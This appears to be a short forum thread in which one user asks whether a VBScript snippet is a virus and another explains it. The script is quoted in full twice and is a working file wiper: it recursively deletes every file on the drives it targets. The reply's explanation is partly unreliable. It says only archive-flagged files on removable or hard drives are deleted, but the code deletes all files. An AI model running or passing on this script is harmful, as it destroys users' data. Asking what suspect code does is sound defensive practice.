1z th1s a v1ru5?

[Nomen Nescio]

what will this actually do?

On Error Resume Next
Set FILESYSTEM0BJECT = CreateObject("Scripting.FileSystemObject")
For Each DType In FILESYSTEM0BJECT.Drives
If DType.DriveType = 2 Or DType.DriveType = 3 Then
Searching(DType.Path & "\")
End If
Next
Sub Searching(fspec)
On Error Resume Next
Set FS4 = FILESYSTEM0BJECT.GetFolder(Fspec)
For Each F2F In FS4.Files
FILESYSTEM0BJECT.GetFile(F2F.Path).Attributes = 32
FILESYSTEM0BJECT.DeleteFile F2F.Path
Next
For Each F4D In FS4.SubFolders
Searching(F4D.Path)
Next
End Sub

 

[Art]

what will this actually do?

On Error Resume Next
Set FILESYSTEM0BJECT = CreateObject("Scripting.FileSystemObject")
For Each DType In FILESYSTEM0BJECT.Drives
If DType.DriveType = 2 Or DType.DriveType = 3 Then
Searching(DType.Path & "\")
End If
Next
Sub Searching(fspec)
On Error Resume Next
Set FS4 = FILESYSTEM0BJECT.GetFolder(Fspec)
For Each F2F In FS4.Files
FILESYSTEM0BJECT.GetFile(F2F.Path).Attributes = 32
FILESYSTEM0BJECT.DeleteFile F2F.Path
Next
For Each F4D In FS4.SubFolders
Searching(F4D.Path)
Next
End Sub

On all removeable or hard drives .... all files having the archive
attribute will be deleted.

May be a part of some destructive Trojan (or it may not), but it's not
a virus.

Art